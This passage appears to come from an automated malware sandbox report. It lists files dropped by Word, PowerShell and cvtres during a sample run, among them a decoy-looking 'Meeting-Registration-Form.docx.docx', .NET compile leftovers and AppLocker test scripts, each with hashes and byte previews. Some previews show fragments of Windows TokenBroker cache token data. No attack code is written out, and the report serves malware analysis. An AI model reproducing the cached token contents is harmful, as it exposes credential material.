Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.J.1.m.u.g.S.o.z.s.S.9.x.S.Z./.Q.v.O.c.+.E.J.4.u.2.c.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.A.y.S.Y.c.p.L.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A./.4.F.j./.C.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	4542
Entropy (8bit):	3.9913222198527065
Encrypted:	false
SSDEEP:	96:1YALpl0c9hBKeA/m41yq2iT4YUcuZDs99FHpybUJi7JdMqvwD:1tyc93Kbhai0WAWHIyi7DMSwD
MD5:	0658121B8CC8D0ADD3FEB366D6FB4671
SHA1:	98C5BFE93C3A3B35744201DB4BD491B43264681B
SHA-256:	36750789EB02E5A8F7BE6521AA52129ADC39909B011F7E2D0DB7CE0D57A99CF7
SHA-512:	FC0BAF684FEA8B08627EDE3F894E3931955E75821478B099D22CA8B98B50CDF50AED8483C1D802E32F350F8E280F9B8F04DA86355194A5666290B7EFC43CB650
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.q.Y.a.6.3.X.Y.9.b.4.Y.b.C.Z.g.f.0.u.y.E.6.v.n.x.e.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".m.F.S.d.R.8.J.L.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A./.4.F.j./.C.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{18E4A2BE-3D94-4B3C-B390-3C4290C873EE}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.6137925717909387
Encrypted:	false
SSDEEP:	48:efNhiRurOonAanADAv0w/1Zp0GMdVZDadXcbs3osnWn:efNhbK3REj90BZDAc/snWn
MD5:	5BDA1985CA9EC394449E7316A7E3C251
SHA1:	8F9ADC381F86DDFEC0A5984D2CFFE0A505D640A7
SHA-256:	C39B9AF4497A4EB57C0C49751DC88B246CE49A2F70CA7CB7E520ACBAD2F30296
SHA-512:	14D3115DF4C76893DD5F86B0F3133CAB44D0775501EDDD195CC2C91089706B4B932F6DE5C0E18210B274F46E04827C316D40D9E53D83CF09F3202CC1FDDE2265
Malicious:	false
Preview:	..M.e.e.t.i.n.g. .R.e.g.i.s.t.i.o.n. .F.o.r.m...R.e.c.i.p.i.e.n.t.'.s. .A.d.d.r.e.s.s.:...H.a.v.a.s. .G.l.o.b.a.l. .(.D.i.g.i.t.a.l. .N.a.t.i.v.e.)...7.8.9. .O.a.k. .D.r.i.v.e...C.i.t.y.v.i.l.l.e.,. .U.S.A. .6.7.8.9.0...............................................................................................................................................................................................................................................................................................................0...................&...................r...t...........6...8...X...........8...:...................x...z.......................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{192C1263-A46C-4420-9462-D9AD87DA408D}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	20051
Entropy (8bit):	5.024314565257015
Encrypted:	false
SSDEEP:	384:Prib43WKmVoGIpN6KQkj2Fkjh4iUxDhQIe3zUpX+OdBNNXp5yvOjJlYoaYpib47:PRWKmV3IpNBQkj2Uh4iUxDhi3zUpX+Oh
MD5:	41A553659658912065E8C36A0986B3FC
SHA1:	4375322340AD922F4527F413F686054324D4A839
SHA-256:	BF150150AC83E00846E4165E426DD8D3D0B5B357F1BE43168DBB3073EDE74B01
SHA-512:	FD5DE346A92BEFF1789369FAEB2F28F4D900288CBEABBC3ADD41E6AB7C693ABA34024441FE0127EF5286F47EE8392C09324B3E1913B0B27392FB2A0683E506A5
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.0818136700495735
Encrypted:	false
SSDEEP:	3:NlllulglXlZ:NllUglX
MD5:	CA74AEC59B42377FD71F906C174D9955
SHA1:	997E9B29E0C67E411D680746FACB2E25D84F8545
SHA-256:	709899537B2BAFF2AB6EC36129404C3D354566AE6D1E89AC0920A141D2AED106
SHA-512:	974C1A506D5344FF3AFA9E436E54E5C2533C530922F6EDBFE5A98F4A8FB8E0C930B12E0D40AB69ACC6A2031D4FF8E8A807278B4CC724A10A69AB5F9C19E5B975
Malicious:	false
Preview:	@...e...............................X................@..........

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733917451864075600_4B6E77DD-D2D4-4BBC-8E4A-DF67E168D2FB.log

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	ASCII text, with very long lines (28367), with CRLF line terminators
Category:	dropped
Size (bytes):	16777216
Entropy (8bit):	0.1758482078755704
Encrypted:	false
SSDEEP:	1536:wIFMLjE7dddsdvAuS7UjvUSPQHIHCdfOsgYh5L1AAtNBT002qFpT6FKnj3sVVBu:NFphdduANwKT6
MD5:	3B04D00E4CDFE73031AD99647637E0D5
SHA1:	1895607DBFCC58F138E51BBB5A5D91C860D8E152
SHA-256:	9672062DD4CD52E5ED50D13B3285F8112471C70E6DC9BBD5D2CFA4ADEC1441F8
SHA-512:	583C938D5B707FD76AD97DCE4CDA584A04968F468BF0A3C9C09F5EC62B714E85BE99C0C49841F3D49F5841D85A83985EBEAA662C366B5362A8C23D723F7E60B4
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..12/11/2024 11:44:11.874.WINWORD (0xFB8).0x2048.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Experimentation.FeatureQueryBatched","Flags":33777005812056321,"InternalSequenceNumber":29,"Time":"2024-12-11T11:44:11.874Z","Data.Sequence":0,"Data.Count":128,"Data.Features":"[ { \"ID\" : 0, \"N\" : \"Microsoft.Office.Diagnostics.WerCrashDLLEnabled\", \"V\" : true, \"S\" : 11, \"P\" : 0, \"T\" : \"2024-12-11T11:44:11.6092387Z\", \"C\" : \"39\", \"Q\" : 340.0, \"M\" : 0, \"F\" : 5 }, { \"ID\" : 0, \"N\" : \"Microsoft.Office.Telemetry.TrackCPSWrites\", \"V\" : false, \"S\" : 1, \"P\" : 0, \"T\" : \"2024-12-11T11:44:11.6092387Z\", \"C\" : \"33\", \"Q\" : 0.0, \"M\" : 0, \"F\" : 5 }, { \"ID\" : 0, \"N\" : \"Microsoft.Office.Telemetry.CPSMaxWrites\", \"V\" : 2, \"S\" : 1, \"P\" : 0, \"T\" : \"2024-12-11T11:44:11.6092387Z\", \"C\" : \"33\", \"Q\" : 6.0, \"M\" : 0, \"F\" : 5 }, { \"ID\" : 0, \"N\" : \

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733917451864404900_4B6E77DD-D2D4-4BBC-8E4A-DF67E168D2FB.log

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16777216
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	2C7AB85A893283E98C931E9511ADD182
SHA1:	3B4417FC421CEE30A9AD0FD9319220A8DAE32DA2
SHA-256:	080ACF35A507AC9849CFCBA47DC2AD83E01B75663A516279C8B9D243B719643E
SHA-512:	7E208B53E5C541B23906EF8ED8F5E12E4F1B470FBD0D3E907B1FC0C0B8D78EB1BBFB5A77DCFD9535ACF6FA47F4AB956D188B770352C13B0AB7E0160690BAE896
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Meeting-Registration-Form.docx.docx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	7.425473944164375
Encrypted:	false
SSDEEP:	48:9vTdVmipTBzMsrI61eft92CtKa8KHivgZrs97nnbre8x5ZqHBwharzD4KWk8bu1t:xxEmTyMI61EOdgZejbC8xLaJ3D4+8bst
MD5:	93283C2DFC4AF4148FDE4F287FD73332
SHA1:	0E7D1F8D8DD3DA08502EC1784ECECFBF36BD211C
SHA-256:	14335A078656D8C5494C3DB0941BBCDAA1E06C8AFC70D8D19495BF5DB6C354D1
SHA-512:	B15B34656FDAE0247AF4C26D3D5213A33FF82820792F5C23114FF5E7286BA075BEE126696C0ADBFFC002374A53BD73CBE3BB0F4F3F1B619AA660C12C78B46CC8
Malicious:	false
Preview:	PK.........~\|Y................_rels/.rels..;..0.D.bmO6P ..AHi.p...8Q.l.=.(........y...(..Y...FV:5Y...7.h.E....#...9.).#b.#..........)...9.M.+.=.O.....AS.pwA.r.j."....u...z....I....Q......W3..PK..O..<........PK.........~\|Y................word/_rels/document.xml.rels.....0.E.%..u!"M....R? &..6..T...........0yyU#......$..Z.9...9..P.y.#......$F.g.`w.z..>1.u..)...:j.8...:M7.v...4.u...I..Ex...T..4..d.jf..PM....FL.u...O...E.yD.n....+....PK..............PK.........~\|Y................word/document.xml.\mo.6..+W}i....lYk.)...R.I....i...".......%...v..a.......t.s.H9..7.....f..0.f...R..8.4.\|.2....B[..l.>{s.z5..hk4....8.BhFy..k...ACu.u..t....:.8[..d....px..B.,..Y.....u...QP[.Z$S..y...2.#..3..k.?.. ....T.........R9.~.z.7....\|).8+..m.]..&.8./..gSU..k\.....6........b.>L...TvC..Ca.u[.D...kT...u4.@@.........B..o#.Q...7..w`8....QG.nP.R..[bv..1D/.p.\|7.%.@....}D........G.....I..Ab.a..E....DJ*..............3.....@_.EPK\|~..._......G....V.....O.......!'

C:\Users\user\AppData\Local\Temp\RES2DEB.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Wed Dec 11 11:44:01 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	3.997779595191864
Encrypted:	false
SSDEEP:	24:HWFzW91vsHQwK1mNII+ycuZhNsakSIPNnqS2d:/sfK1mu1ulsa3wqSG
MD5:	7F3EA04C5BEAF1349AB40F2E2EBD9BFC
SHA1:	6106DBE0BB44E424568172E30919A520FA8D5B13
SHA-256:	CFC0392B23E749A747826A7E575A38055092051956B7823C703239A9D0A7257D
SHA-512:	F9EA5BC7B6085EA270ED9AE729BA77034AF36379607C1D39538655A656A126214A3B9932F9A38E1EF97BD86AA07E4F985477AFD8861A8E52E20BD9A8CFBA55CA
Malicious:	false
Preview:	L....{Yg.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........T....c:\Users\user\AppData\Local\Temp\st5qs1wr\CSC2C64D26780D497590A0A819DD9C4D5F.TMP..................l;.p#rT...............5.......C:\Users\user\AppData\Local\Temp\RES2DEB.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...s.t.5.q.s.1.w.r...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_04ekb3wp.dsu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0pyeujhh.yca.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3u1ahjv2.cb0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3vousr1d.ddi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gaglkpki.p0u.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_grsqgp0c.1ur.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hdabbuo0.wh0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jagmh4zx.t4o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k1jeaipa.f2l.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kn4q05tz.fqi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mvp55isf.beh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rematcai.wsc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ru4skgs4.wcb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sn3heymt.r35.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t2axjro4.yag.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
